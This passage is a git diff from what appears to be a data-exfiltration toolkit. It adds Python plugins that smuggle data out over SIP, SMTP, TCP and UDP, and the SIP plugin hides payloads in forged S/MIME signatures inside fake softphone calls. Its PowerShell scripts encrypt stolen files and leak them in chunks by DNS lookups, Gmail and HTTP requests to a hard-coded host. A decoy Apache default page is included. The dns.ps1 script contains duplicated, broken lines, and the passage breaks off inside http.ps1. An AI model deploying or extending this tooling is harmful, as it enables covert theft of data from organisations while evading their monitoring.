+ app.register_plugin('icmp', {'send': send, 'listen': listen, 'proxy': proxy})
diff --git a/plugins/misc/default_apache_page.html b/plugins/misc/default_apache_page.html
new file mode 100644
index 0000000..dc4b7c1
--- /dev/null
+++ b/plugins/misc/default_apache_page.html
@@ -0,0 +1,364 @@
+
+
+
+ Apache2 Debian Default Page: It works
+
+
+
+
+
+
+
+
+
+
+
+
+ This is the default welcome page used to test the correct
+ operation of the Apache2 server after installation on Debian systems.
+ If you can read this page, it means that the Apache HTTP server installed at
+ this site is working properly. You should replace this file (located at
+ /var/www/html/index.html) before continuing to operate your HTTP server.
+
+
+
+
+ If you are a normal user of this web site and don't know what this page is
+ about, this probably means that the site is currently unavailable due to
+ maintenance.
+ If the problem persists, please contact the site's administrator.
+
+
+
+
+
+
+ Debian's Apache2 default configuration is different from the
+ upstream default configuration, and split into several files optimized for
+ interaction with Debian tools. The configuration system is
+ fully documented in
+ /usr/share/doc/apache2/README.Debian.gz. Refer to this for the full
+ documentation. Documentation for the web server itself can be
+ found by accessing the manual if the apache2-doc
+ package was installed on this server.
+
+
+
+ The configuration layout for an Apache2 web server installation on Debian systems is as follows:
+
+
/etc/apache2/
+|-- apache2.conf
+| `-- ports.conf
+|-- mods-enabled
+| |-- *.load
+| `-- *.conf
+|-- conf-enabled
+| `-- *.conf
+|-- sites-enabled
+| `-- *.conf
+
+
+ -
+ apache2.conf is the main configuration
+ file. It puts the pieces together by including all remaining configuration
+ files when starting up the web server.
+
+
+ -
+ ports.conf is always included from the
+ main configuration file. It is used to determine the listening ports for
+ incoming connections, and this file can be customized anytime.
+
+
+ -
+ Configuration files in the mods-enabled/,
+ conf-enabled/ and sites-enabled/ directories contain
+ particular configuration snippets which manage modules, global configuration
+ fragments, or virtual host configurations, respectively.
+
+
+ -
+ They are activated by symlinking available
+ configuration files from their respective
+ *-available/ counterparts. These should be managed
+ by using our helpers
+
+ a2enmod,
+ a2dismod,
+
+
+ a2ensite,
+ a2dissite,
+
+ and
+
+ a2enconf,
+ a2disconf
+ . See their respective man pages for detailed information.
+
+
+ -
+ The binary is called apache2. Due to the use of
+ environment variables, in the default configuration, apache2 needs to be
+ started/stopped with /etc/init.d/apache2 or apache2ctl.
+ Calling /usr/bin/apache2 directly will not work with the
+ default configuration.
+
+
+
+
+
+
+
+
+ By default, Debian does not allow access through the web browser to
+ any file apart of those located in /var/www,
+ public_html
+ directories (when enabled) and /usr/share (for web
+ applications). If your site is using a web document root
+ located elsewhere (such as in /srv) you may need to whitelist your
+ document root directory in /etc/apache2/apache2.conf.
+
+
+ The default Debian document root is /var/www/html. You
+ can make your own virtual hosts under /var/www. This is different
+ to previous releases which provides better security out of the box.
+
+
+
+
+
+
+ Please use the reportbug tool to report bugs in the
+ Apache2 package with Debian. However, check existing bug reports before reporting a new bug.
+
+
+ Please report bugs specific to modules (such as PHP and others)
+ to respective packages, not to the web server itself.
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/plugins/sip.py b/plugins/sip.py
new file mode 100644
index 0000000..232092b
--- /dev/null
+++ b/plugins/sip.py
@@ -0,0 +1,273 @@
+#!/usr/bin/env python
+
+#inspired from: https://books.google.fr/books?id=cHOmCwAAQBAJ&pg=PA747&lpg=PA747&dq=sdp+smime&source=bl&ots=34LYW5iJyc&sig=4a1szVXKMDtqQWUb0K2gM29AgL8&hl=fr&sa=X&ved=0ahUKEwjbm5Tf1JzTAhUGfxoKHX-UCQUQ6AEIVTAG#v=onepage&q=sdp%20smime&f=false
+
+from dpkt import sip
+import socket
+import string
+import random
+import base64
+import re
+from random import choice
+import traceback
+
+config = None
+app_exfiltrate = None
+
+#Ideally replace with real employee names
+names = ('alice', 'bob', 'eve', 'kim', 'lorrie', 'ben')
+caller, callee = random.sample(names, 2)
+
+#proxy = "freephonie.net" #Might as well be internal PBX
+#domain = 'e.corp'
+
+class UserAgent:
+
+ def __init__(self, alias, ip, port=None, user_agent=None):
+ self.alias = alias
+ self.ip = ip
+ self.port = port
+ self.user_agent = 'Linphone/3.6.1 (eXosip2/4.1.0)'
+ self.tag = ''.join(random.sample(string.digits, 10))
+
+class SIPDialog:
+
+ def __init__(self, uac=None, uas=None, proxy=None):
+ self.call_id = ''.join(random.sample(string.digits, 8))
+ self.uac = uac
+ self.uas = uas
+ self.branch = 'z9hG4bK' + ''.join(random.sample(string.digits, 10))
+ self.proxy = proxy
+ self.subject = "Phone call"
+
+ def init_from_request(self, req):
+ self.call_id = req.headers['call-id']
+ parser = re.compile(';tag=(.*)')
+ [(s_alias, s_ip, tag)] = re.findall(parser, req.headers['from'])
+ parser = re.compile('SIP\/2\.0\/UDP (.*):(\d*)(?:\;rport.*)?\;branch=(.*)')
+ [(proxy, s_port, branch)] = re.findall(parser, req.headers['via'])
+ parser = re.compile('')
+ [(c_alias, c_ip)] = re.findall(parser, req.headers['to'])
+ user_agent = req.headers['user-agent']
+
+ self.tag = tag
+ self.branch = branch
+ self.uac = UserAgent(c_alias, c_ip)
+ self.uas = UserAgent(s_alias, s_ip, port=s_port, user_agent=user_agent)
+ self.proxy = proxy
+
+ def invite(self, uac, uas, payload):
+ #Call-ID magic identifier
+ self.call_id = self.call_id[:3] + "42" + self.call_id[5:]
+ #Branch magic identifier
+ self.branch = self.branch[:11] + "42" + self.branch[13:]
+ self.uac = uac
+ self.uas = uas
+ self.proxy = self.proxy or '127.0.0.1' #keep calm & blame misconfiguration
+ packet = sip.Request()
+ #forge headers
+ packet.uri = 'sip:' + self.uas.alias + '@'+ self.uas.ip
+ packet.headers['Via'] = 'SIP/2.0/UDP {}:{};branch={}'.format(self.proxy, self.uac.port, self.branch)
+ packet.headers['Max-Forwards'] = 70
+ packet.headers['CSeq'] = '20 ' + packet.method
+ packet.headers['From'] = '{} ;tag={}'.format(self.uac.alias.capitalize(), self.uac.alias, self.uac.ip, self.uac.tag)
+ packet.headers['To'] = '{} '.format(self.uas.alias.capitalize(), self.uas.alias, self.uas.ip)
+ packet.headers['Contact'] = ''.format(self.uac.alias, self.uac.ip)
+ packet.headers['Call-ID'] = self.call_id
+ packet.headers['User-Agent'] = self.uac.user_agent
+ packet.headers['Subject'] = self.subject
+ packet.headers['Content-Type'] = 'application/sdp'
+ packet.headers['Allow'] = 'INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, NOTIFY, MESSAGE, SUBSCRIBE, INFO'
+ #forge the sdp message
+ sdp_content = "v=0\r\n"
+ sdp_content += "o=" + self.uac.alias + " 99 939 IN IP4 " + self.uac.ip + "\r\n"
+ sdp_content += "s=Talk\r\n"
+ sdp_content += "c=IN IP4 " + self.uac.ip + "\r\n"
+ sdp_content += "t=0 0\r\n"
+ sdp_content += "m=audio 7078 RTP/AVP 124 111 110 0 8 101\r\n"
+ sdp_content += "a=rtpmap:124 opus/48000\r\n"
+ sdp_content += "a=fmtp:124 useinbandfec=1; usedtx=1\r\n"
+ sdp_content += "a=rtpmap:111 speex/16000\r\n"
+ sdp_content += "a=fmtp:111 vbr=on\r\n"
+ sdp_content += "a=rtpmap:110 speex/8000\r\n"
+ sdp_content += "a=fmtp:110 vbr=on\r\n"
+ sdp_content += "a=rtpmap:101 telephone-event/8000\r\n"
+ sdp_content += "a=fmtp:101 0-11\r\n"
+ sdp_content += "m=video 9078 RTP/AVP 103 99\r\n"
+ sdp_content += "a=rtpmap:103 VP8/90000\r\n"
+ sdp_content += "a=rtpmap:99 MP4V-ES/90000\r\n"
+ sdp_content += "a=fmtp:99 profile-level-id=3\r\n"
+ #forge sdp header
+ sdp_hdr = "Content-Type: message/sip\r\n"
+ sdp_hdr += "Content-Length: " + str(len(sdp_content)) + '\r\n'
+ sdp_hdr += "INVITE sip:{}@{} SIP/2.0".format(self.uas.alias, self.uas.ip)
+ sdp_hdr += packet.pack_hdr()
+ sdp_hdr += "\r\n"
+ #forge the false signature
+ sig = 'Content-Type: application/x-pkcs7-signature; name="smime.p7s"\r\n'
+ sig += 'Content-Transfer-Encoding: base64\r\n'
+ sig += 'Content-Disposition: attachment; filename="smime.p7s"; handling=required\r\n'
+ sig += base64.b64encode(payload)
+ #forge sip body
+ boundary = ''.join(random.sample(string.digits + string.ascii_letters, 20))
+ packet.body = '--' + boundary + '\r\n'
+ packet.body += sdp_hdr
+ packet.body += sdp_content + '\r\n'
+ packet.body += '--' + boundary + '\r\n'
+ packet.body += sig + '\r\n'
+ packet.body += '--' + boundary + '--'
+ #replace sip header content-type with multipart/signed
+ packet.headers['Content-Type'] = 'multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary=' + boundary
+ #Update Content-Length
+ packet.headers['Content-Length'] = str(len(packet.body))
+
+ return packet
+
+ def trying(self, invite):
+ packet = sip.Response()
+ packet.status = '100'
+ packet.reason = 'Trying'
+ packet.headers['Via'] = invite.headers['via']
+ packet.headers['From'] = invite.headers['from']
+ packet.headers['To'] = invite.headers['to']
+ packet.headers['Call-ID'] = invite.headers['call-id']
+ packet.headers['CSeq'] = invite.headers['cseq']
+ packet.headers['User-Agent'] = self.uac.user_agent
+ packet.headers['Content-Length'] = '0'
+
+ return packet
+
+ def ringing(self, invite):
+ packet = sip.Response()
+ packet.status = '180'
+ packet.reason = 'Ringing'
+ packet.headers['Via'] = invite.headers['via']
+ packet.headers['From'] = invite.headers['from']
+ packet.headers['To'] = invite.headers['to'] + ';tag={}'.format(self.uac.tag)
+ packet.headers['Call-ID'] = invite.headers['call-id']
+ packet.headers['CSeq'] = invite.headers['cseq']
+ packet.headers['Contact'] = ''.format(self.uac.alias, self.uac.ip)
+ packet.headers['User-Agent'] = self.uac.user_agent
+ packet.headers['Content-Length'] = '0'
+
+ return packet
+
+ def decline(self, invite):
+ packet = sip.Response()
+ packet.status = '603'
+ packet.reason = 'Decline'
+ packet.headers['From'] = invite.headers['from']
+ packet.headers['To'] = invite.headers['to'] + ';tag={}'.format(self.uac.tag)
+ packet.headers['Call-ID'] = invite.headers['call-id']
+ packet.headers['CSeq'] = invite.headers['cseq']
+ packet.headers['User-Agent'] = self.uac.user_agent
+ packet.headers['Content-Length'] = '0'
+
+ return packet
+
+ def ack(self, message):
+ packet = sip.Request()
+ packet.method = 'ACK'
+ packet.uri = 'sip:{}@{}'.format(self.uas.alias, self.uas.ip)
+ packet.headers['Via'] = message.headers['via']
+ packet.headers['From'] = message.headers['from']
+ packet.headers['To'] = message.headers['to']
+ packet.headers['Call-ID'] = message.headers['call-id']
+ packet.headers['CSeq'] = '20 ACK'
+ packet.headers['Content-Length'] = '0'
+
+ return packet
+
+def listen():
+ app_exfiltrate.log_message('info', "[sip] Listening for incoming calls")
+ port = config['port']
+ sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+ sock.bind(('', port))
+ while True:
+ data, addr = sock.recvfrom(65535)
+ try:
+ req = sip.Request()
+ req.unpack(data)
+ if req.method == 'INVITE':
+ dialog = SIPDialog()
+ dialog.init_from_request(req)
+ #Simulate legit softphone responses
+ trying = dialog.trying(req)
+ sock.sendto(trying.pack(), addr)
+ ringing = dialog.ringing(req)
+ sock.sendto(ringing.pack(), addr)
+ decline = dialog.decline(req)
+ sock.sendto(decline.pack(), addr)
+ #Check if the request is part of exfiltration job
+ if dialog.branch[11:13] == "42" and dialog.call_id[3:5] == "42":
+ parser = re.compile('boundary=(.*)')
+ [boundary] = re.findall(parser, req.headers['content-type'])
+ #Hackish payload isolation
+ payload = req.body.split('--'+boundary)[-2].split('\r\n')[-2]
+ app_exfiltrate.log_message('info', "[sip] Received {0} bytes from {1}".format(len(payload), addr[0]))
+ app_exfiltrate.retrieve_data(base64.b64decode(payload))
+ except Exception as e:
+ print traceback.format_exc()
+ print 'exception: ' + repr(e)
+ pass
+
+def send(data):
+ if config.has_key('proxies') and config['proxies'] != [""]:
+ targets = [config['target']] + config['proxies']
+ target = choice(targets)
+ else:
+ target = config['target']
+ port = config['port']
+ sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+ sock.bind(('', port))
+ dialog = SIPDialog()
+ laddr = socket.gethostbyname(socket.getfqdn())
+ uac = UserAgent(caller, laddr, port=port)
+ uas = UserAgent(callee, target, port=port)
+ invite = dialog.invite(uac, uas, data)
+ app_exfiltrate.log_message('info', "[sip] Sending {0} bytes to {1}".format(len(data), target))
+ sock.sendto(invite.pack(), (target, port))
+ while True:
+ try:
+ recv_data, addr = sock.recvfrom(65535)
+ response = sip.Response()
+ response.unpack(recv_data)
+ if response.reason == 'Decline':
+ ack = dialog.ack(response)
+ sock.sendto(ack.pack(), (target, port))
+ sock.close()
+ break
+ else:
+ continue
+ except:
+ pass
+ break
+
+def proxy():
+ app_exfiltrate.log_message('info', "[proxy] [sip] Starting SIP proxy")
+ target = config['target']
+ port = config['port']
+ sender = ""
+ sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+ sock.bind(('', port))
+ while True:
+ data, addr = sock.recvfrom(65535)
+ if addr[0] != target:
+ sender = addr[0]
+ try:
+ if addr[0] == target:
+ app_exfiltrate.log_message('info', "[proxy] [sip] Relaying data to {0}".format(target))
+ sock.sendto(data, (sender, port))
+ else:
+ app_exfiltrate.log_message('info', "[proxy] [sip] Relaying data to {0}".format(sender))
+ sock.sendto(data, (target, port))
+ except:
+ print traceback.format_exc()
+
+class Plugin:
+
+ def __init__(self, app, conf):
+ global app_exfiltrate, config
+ app_exfiltrate = app
+ config = conf
+ app.register_plugin('sip', {'send': send, 'listen': listen, 'proxy': proxy})
diff --git a/plugins/slack.py b/plugins/slack.py
index 80c991b..35e4b2e 100644
--- a/plugins/slack.py
+++ b/plugins/slack.py
@@ -31,11 +31,14 @@ def listen():
else:
app_exfiltrate.log_message('warning', "Connection Failed, invalid token?")
+def proxy():
+ app_exfiltrate.log_message('info', "[proxy] [slack] proxy mode unavailable (useless) for Slack plugin")
+
class Plugin:
def __init__(self, app, conf):
global app_exfiltrate, config, sc
sc = SlackClient(conf['api_token'])
config = conf
- app.register_plugin('slack', {'send': send, 'listen': listen})
- app_exfiltrate = app
\ No newline at end of file
+ app.register_plugin('slack', {'send': send, 'listen': listen, 'proxy': proxy})
+ app_exfiltrate = app
diff --git a/plugins/smtp.py b/plugins/smtp.py
new file mode 100644
index 0000000..186a868
--- /dev/null
+++ b/plugins/smtp.py
@@ -0,0 +1,84 @@
+import smtpd
+import asyncore
+import email
+import smtplib
+from email.mime.text import MIMEText
+from random import choice
+
+config = None
+app_exfiltrate = None
+
+recipient = "recipient@example.com"
+author = "author@example.com"
+subject = "det:tookit"
+
+class CustomSMTPServer(smtpd.SMTPServer):
+
+ def process_message(self, peer, mailfrom, rcpttos, data):
+ body = email.message_from_string(data).get_payload()
+ app_exfiltrate.log_message('info', "[smtp] Received email "\
+ "from {}".format(peer))
+ try:
+ self.handler(body)
+ except Exception, e:
+ print e
+ pass
+
+def send(data):
+ if config.has_key('proxies') and config['proxies'] != [""]:
+ targets = [config['target']] + config['proxies']
+ target = choice(targets)
+ else:
+ target = config['target']
+ port = config['port']
+ # Create the message
+ msg = MIMEText(data)
+ msg['To'] = email.utils.formataddr(('Recipient', recipient))
+ msg['From'] = email.utils.formataddr(('Author', author))
+ msg['Subject'] = subject
+ server = smtplib.SMTP(target, port)
+ try:
+ server.sendmail(author, [recipient], msg.as_string())
+ except:
+ pass
+ finally:
+ server.close()
+
+def relay_email(data):
+ target = config['target']
+ port = config['port']
+ # Create the message
+ msg = MIMEText(data)
+ msg['To'] = email.utils.formataddr(('Recipient', recipient))
+ msg['From'] = email.utils.formataddr(('Author', author))
+ msg['Subject'] = subject
+ server = smtplib.SMTP(target, port)
+ try:
+ app_exfiltrate.log_message('info', "[proxy] [smtp] Relaying email to {}".format(target))
+ server.sendmail(author, [recipient], msg.as_string())
+ except:
+ pass
+ finally:
+ server.close()
+
+def listen():
+ port = config['port']
+ app_exfiltrate.log_message('info', "[smtp] Starting SMTP server on port {}".format(port))
+ server = CustomSMTPServer(('', port), None)
+ server.handler = app_exfiltrate.retrieve_data
+ asyncore.loop()
+
+def proxy():
+ port = config['port']
+ app_exfiltrate.log_message('info', "[proxy] [smtp] Starting SMTP server on port {}".format(port))
+ server = CustomSMTPServer(('', port), None)
+ server.handler = relay_email
+ asyncore.loop()
+
+class Plugin:
+
+ def __init__(self, app, conf):
+ global app_exfiltrate, config
+ config = conf
+ app_exfiltrate = app
+ app.register_plugin('smtp', {'send': send, 'listen': listen, 'proxy': proxy})
diff --git a/plugins/tcp.py b/plugins/tcp.py
index b8e06de..7f9d3c8 100644
--- a/plugins/tcp.py
+++ b/plugins/tcp.py
@@ -1,12 +1,16 @@
import socket
import sys
+from random import choice
config = None
app_exfiltrate = None
-
def send(data):
- target = config['target']
+ if config.has_key('proxies') and config['proxies'] != [""]:
+ targets = [config['target']] + config['proxies']
+ target = choice(targets)
+ else:
+ target = config['target']
port = config['port']
app_exfiltrate.log_message(
'info', "[tcp] Sending {0} bytes to {1}".format(len(data), target))
@@ -15,8 +19,11 @@ def send(data):
client_socket.send(data.encode('hex'))
client_socket.close()
-
def listen():
+ app_exfiltrate.log_message('info', "[tcp] Waiting for connections...")
+ sniff(handler=app_exfiltrate.retrieve_data)
+
+def sniff(handler):
port = config['port']
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
@@ -32,7 +39,6 @@ def listen():
sys.exit(-1)
while True:
- app_exfiltrate.log_message('info', "[tcp] Waiting for connections...")
connection, client_address = sock.accept()
try:
app_exfiltrate.log_message(
@@ -44,7 +50,7 @@ def listen():
'info', "[tcp] Received {} bytes".format(len(data)))
try:
data = data.decode('hex')
- app_exfiltrate.retrieve_data(data)
+ handler(data)
except Exception, e:
app_exfiltrate.log_message(
'warning', "[tcp] Failed decoding message {}".format(e))
@@ -53,6 +59,19 @@ def listen():
finally:
connection.close()
+def relay_tcp_packet(data):
+ target = config['target']
+ port = config['port']
+ app_exfiltrate.log_message(
+ 'info', "[proxy] [tcp] Relaying {0} bytes to {1}".format(len(data), target))
+ client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+ client_socket.connect((target, port))
+ client_socket.send(data.encode('hex'))
+ client_socket.close()
+
+def proxy():
+ app_exfiltrate.log_message('info', "[proxy] [tcp] Waiting for connections...")
+ sniff(handler=relay_tcp_packet)
class Plugin:
@@ -61,4 +80,4 @@ def __init__(self, app, conf):
global app_exfiltrate
config = conf
app_exfiltrate = app
- app.register_plugin('tcp', {'send': send, 'listen': listen})
\ No newline at end of file
+ app.register_plugin('tcp', {'send': send, 'listen': listen, 'proxy': proxy})
diff --git a/plugins/twitter.py b/plugins/twitter.py
index d5307cf..7ea4899 100644
--- a/plugins/twitter.py
+++ b/plugins/twitter.py
@@ -67,6 +67,8 @@ def listen():
app_exfiltrate.log_message(
'warning', "[twitter] Couldn't listen for Twitter DMs".format(e))
+def proxy():
+ app_exfiltrate.log_message('info', "[proxy] [twitter] proxy mode unavailable (useless) for twitter plugin...")
class Plugin:
@@ -74,5 +76,5 @@ def __init__(self, app, conf):
global app_exfiltrate, config, USERNAME
config = conf
USERNAME = config['username']
- app.register_plugin('twitter', {'send': send, 'listen': listen})
+ app.register_plugin('twitter', {'send': send, 'listen': listen, 'proxy': proxy})
app_exfiltrate = app
diff --git a/plugins/udp.py b/plugins/udp.py
index 7b950f4..244e8eb 100644
--- a/plugins/udp.py
+++ b/plugins/udp.py
@@ -1,20 +1,27 @@
import socket
import sys
+from random import choice
config = None
app_exfiltrate = None
def send(data):
- target = config['target']
+ if config.has_key('proxies') and config['proxies'] != [""]:
+ targets = [config['target']] + config['proxies']
+ target = choice(targets)
+ else:
+ target = config['target']
port = config['port']
app_exfiltrate.log_message(
'info', "[udp] Sending {0} bytes to {1}".format(len(data), target))
client_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
client_socket.sendto(data.encode('hex'), (target, port))
-
def listen():
+ sniff(handler=app_exfiltrate.retrieve_data)
+
+def sniff(handler):
port = config['port']
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
@@ -40,7 +47,8 @@ def listen():
'info', "[udp] Received {} bytes".format(len(data)))
try:
data = data.decode('hex')
- app_exfiltrate.retrieve_data(data)
+ #app_exfiltrate.retrieve_data(data)
+ handler(data)
except Exception, e:
app_exfiltrate.log_message(
'warning', "[udp] Failed decoding message {}".format(e))
@@ -49,6 +57,19 @@ def listen():
finally:
pass
+def relay_dns_packet(data):
+ target = config['target']
+ port = config['port']
+ app_exfiltrate.log_message(
+ 'info', "[proxy] [udp] Relaying {0} bytes to {1}".format(len(data), target))
+ client_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+ client_socket.sendto(data.encode('hex'), (target, port))
+
+def proxy():
+ app_exfiltrate.log_message(
+ 'info', "[proxy] [udp] Listening for udp packets")
+ sniff(handler=relay_dns_packet)
+
class Plugin:
@@ -57,4 +78,4 @@ def __init__(self, app, conf):
global app_exfiltrate
config = conf
app_exfiltrate = app
- app.register_plugin('udp', {'send': send, 'listen': listen})
+ app.register_plugin('udp', {'send': send, 'listen': listen, 'proxy': proxy})
diff --git a/powershell/dns.ps1 b/powershell/dns.ps1
new file mode 100644
index 0000000..63d4366
--- /dev/null
+++ b/powershell/dns.ps1
@@ -0,0 +1,107 @@
+function DNS-exfil
+{
+ param ([string] $file)
+ $server = '192.168.0.17'
+ $bytes = [System.IO.File]::ReadAllBytes($file)
+ $hash = [System.BitConverter]::ToString($md5.ComputeHash($bytes))
+ $hash = $hash -replace '-','';
+ $md5 = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider
+ $bytes = AES $bytes
+ $string = [System.BitConverter]::ToString($bytes);
+ $string = $string -replace '-','';
+ $filename = Split-Path $file -leaf
+ param ([string] $file)
+ $server = '192.168.0.17'
+ $bytes = [System.IO.File]::ReadAllBytes($file)
+ $string = [System.BitConverter]::ToString($bytes);
+ $string = $string -replace '-','';
+ $data = [System.IO.File]::ReadAllBytes($file)
+
+ $string = [System.BitConverter]::ToString($data);
+ $md5 = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider
+ $hash = [System.BitConverter]::ToString($md5.ComputeHash($bytes))
+ $hash = $hash -replace '-','';
+ $filename = Split-Path $file -leaf
+ $len = $string.Length;
+ #$split = Get-Random -minimum 1 -maximum 250;
+ $split = 50
+ $id = 0
+ # get the size of the file and split it
+ $repeat=[Math]::Ceiling($len/$split);
+ $remainder=$len%$split;
+ $jobid = [System.Guid]::NewGuid().toString().Substring(0, 7)
+ $data = $jobid + '|!|' + $filename + '|!|REGISTER|!|' + $hash
+ $q = Send-DNSRequest $server $data $jobid
+ for($i=0; $i-lt($repeat-1); $i++){
+ $str = $string.Substring($i * $Split, $Split);
+ $data = $jobid + '|!|' + $i + '|!|' + $str
+ $q = Send-DNSRequest $server $data $jobid
+ };
+ if($remainder){
+ $str = $string.Substring($len-$remainder);
+ $i = $i +1
+ $data = $jobid + '|!|' + $i + '|!|' + $str
+ $q = Send-DNSRequest $server $data $jobid
+ };
+
+ $i = $i + 1
+ $data = $jobid + '|!|' + $i + '|!|DONE'
+ $q = Send-DNSRequest $server $data $jobid
+};
+
+function Send-DNSRequest {
+ param ([string] $server, [string] $data, [string] $jobid)
+ $data = Convert-ToCHexString $data
+ $len = $data.Length;
+ $key = 'google.com'
+ #$split = Get-Random -minimum 1 -maximum 250;
+ $split = 66 - $len.Length - $key.Length;
+ # get the size of the file and split it
+ $repeat=[Math]::Floor($len/($split));
+ $remainder=$len%$split;
+ if($remainder){
+ $repeatr = $repeat + 1
+ };
+
+ for($i=0; $i-lt$repeat; $i++){
+ $str = $data.Substring($i*$Split,$Split);
+ $str = $jobid + $str + '.' + $key;
+ $q = nslookup -querytype=A $str $server -timeout=0.1;
+ };
+ if($remainder){
+ $str = $data.Substring($len-$remainder);
+ $str = $jobid + $str + '.' + $key;
+ $q = nslookup -querytype=A $str $server -timeout=0.1;
+ };
+};
+
+function AES {
+ param ([byte[]] $data)
+
+ $key = "THISISACRAZYKEY"
+ $sha256 = New-Object System.Security.Cryptography.SHA256Managed
+
+ $AES = New-Object System.Security.Cryptography.AesManaged
+ $AES.Mode = [System.Security.Cryptography.CipherMode]::CBC
+ $AES.BlockSize = 128
+ $AES.KeySize = 256
+ $AES.Padding = "PKCS7"
+ $AES.Key = [Byte[]] $sha256.ComputeHash([Text.Encoding]::ASCII.GetBytes($key))
+
+ $IV = new-object "System.Byte[]" 16
+ $RNGCrypto = New-Object System.Security.Cryptography.RNGCryptoServiceProvider
+ $RNGCrypto.GetBytes($IV)
+ $AES.IV = $IV
+
+ $Encryptor = $AES.CreateEncryptor()
+
+ return ($IV + $encryptor.TransformFinalBlock($data, 0, $data.Length))
+};
+
+function Convert-ToCHexString
+{
+ param ([String] $str)
+ $ans = ''
+ [System.Text.Encoding]::ASCII.GetBytes($str) | % { $ans += "{0:X2}" -f $_ }
+ return $ans;
+}
\ No newline at end of file
diff --git a/powershell/gmail.ps1 b/powershell/gmail.ps1
new file mode 100644
index 0000000..a4a44ec
--- /dev/null
+++ b/powershell/gmail.ps1
@@ -0,0 +1,89 @@
+function GMail-exfil
+{
+ param ([string] $file)
+ $bytes = [System.IO.File]::ReadAllBytes($file)
+ $md5 = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider
+ $hash = [System.BitConverter]::ToString($md5.ComputeHash($bytes))
+ $hash = $hash -replace '-','';
+ $filename = Split-Path $file -leaf
+ $bytes = AES $bytes
+ $string = [System.BitConverter]::ToString($bytes);
+ $string = $string -replace '-','';
+ $len = $string.Length;
+ #$split = Get-Random -minimum 1 -maximum 250;
+ $split = 3000
+ $id = 0
+ $repeat=[Math]::Ceiling($len/$split);
+ $remainder=$len%$split;
+ $jobid = [System.Guid]::NewGuid().toString().Substring(0, 7)
+ $data = $jobid + '|!|' + $filename + '|!|REGISTER|!|' + $hash
+ $q = Send-GMail $data
+ for($i=0; $i-lt($repeat-1); $i++){
+ $str = $string.Substring($i * $Split, $Split);
+ $data = $jobid + '|!|' + $i + '|!|' + $str
+ $q = Send-GMail $data
+ };
+ if($remainder){
+ $str = $string.Substring($len-$remainder);
+ $i = $i +1
+ $data = $jobid + '|!|' + $i + '|!|' + $str
+ $q = Send-GMail $data
+ };
+
+ $i = $i + 1
+ $data = $jobid + '|!|' + $i + '|!|DONE'
+ $q = Send-GMail $data
+};
+
+function Send-GMail {
+ param ([string] $data)
+ $data = Base64 $data;
+ $From = ""
+ $To = ""
+ $SMTPServer = "smtp.gmail.com"
+ $SMTPPort = "587"
+ $Username = ""
+ $Password = ''
+ $subject = "det:toolkit"
+ $smtp = New-Object System.Net.Mail.SmtpClient($SMTPServer, $SMTPPort);
+ $smtp.EnableSSL = $true
+ $smtp.Credentials = New-Object System.Net.NetworkCredential($Username, $Password);
+ $smtp.Send($Username, $Username, $subject, $data);
+};
+
+function Base64 {
+ param ([string] $data)
+ $Bytes = [System.Text.Encoding]::ASCII.GetBytes($data)
+ return [Convert]::ToBase64String($Bytes)
+}
+
+function AES {
+ param ([byte[]] $data)
+
+ $key = "THISISACRAZYKEY"
+ $sha256 = New-Object System.Security.Cryptography.SHA256Managed
+
+ $AES = New-Object System.Security.Cryptography.AesManaged
+ $AES.Mode = [System.Security.Cryptography.CipherMode]::CBC
+ $AES.BlockSize = 128
+ $AES.KeySize = 256
+ $AES.Padding = "PKCS7"
+ $AES.Key = [Byte[]] $sha256.ComputeHash([Text.Encoding]::ASCII.GetBytes($key))
+
+ $IV = new-object "System.Byte[]" 16
+ $RNGCrypto = New-Object System.Security.Cryptography.RNGCryptoServiceProvider
+ $RNGCrypto.GetBytes($IV)
+ $AES.IV = $IV
+
+ $Encryptor = $AES.CreateEncryptor()
+
+ return ($IV + $encryptor.TransformFinalBlock($data, 0, $data.Length))
+};
+
+function Convert-ToCHexString
+{
+ param ([String] $str)
+ $ans = ''
+ [System.Text.Encoding]::ASCII.GetBytes($str) | % { $ans += "{0:X2}" -f $_ }
+ return $ans;
+}
\ No newline at end of file
diff --git a/powershell/http.ps1 b/powershell/http.ps1
new file mode 100644
index 0000000..4d2f08d
--- /dev/null
+++ b/powershell/http.ps1
@@ -0,0 +1,81 @@
+function Send-HTTPRequest {
+ param ([string] $data, [System.__ComObject] $IE)
+ $url = 'http://192.168.0.17:8080/';
+ $data = Base64 $data;
+ $IE.navigate2($url+$data)
+ Start-Sleep -s 2;
+};
+
+function HTTP-exfil {
+ param ([string] $file)
+ $bytes = [System.IO.File]::ReadAllBytes($file)
+ $md5 = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider
+ $hash = [System.BitConverter]::ToString($md5.ComputeHash($bytes))
+ $hash = $hash -replace '-','';
+ $IE = new-object -com internetexplorer.application;
+ $data = [System.IO.File]::ReadAllBytes($file)
+ $data = AES $data
+ $string = [System.BitConverter]::ToString($data);
+ $string = $string -replace '-','';
+ $filename = Split-Path $file -leaf
+ $len = $string.Length;
+ #$split = Get-Random -minimum 1 -maximum 250;
+ $split = 300
+ $id = 0
+ $repeat=[Math]::Ceiling($len/$split);
+ $remainder=$len%$split;
+ $jobid = [System.Guid]::NewGuid().toString().Substring(0, 7)
+ $data = $jobid + '|!|' + $filename + '|!|REGISTER|!|' + $hash
+ $q = Send-HTTPRequest $data $IE
+ for($i=0; $i-lt$repeat-1; $i++){
+ $str = $string.Substring($i * $Split, $Split);
+ $data = $jobid + '|!|' + $i + '|!|' + $str
+ $q = Send-HTTPRequest $data $IE
+ };
+ if($remainder){
+ $str = $string.Substring($len-$remainder);
+ $i = $i +1
+ $data = $jobid + '|!|' + $i + '|!|' + $str
+ $q = Send-HTTPRequest $data $IE
+ };
+
+ $i = $i + 1
+ $data = $jobid + '|!|' + $i + '|!|DONE'
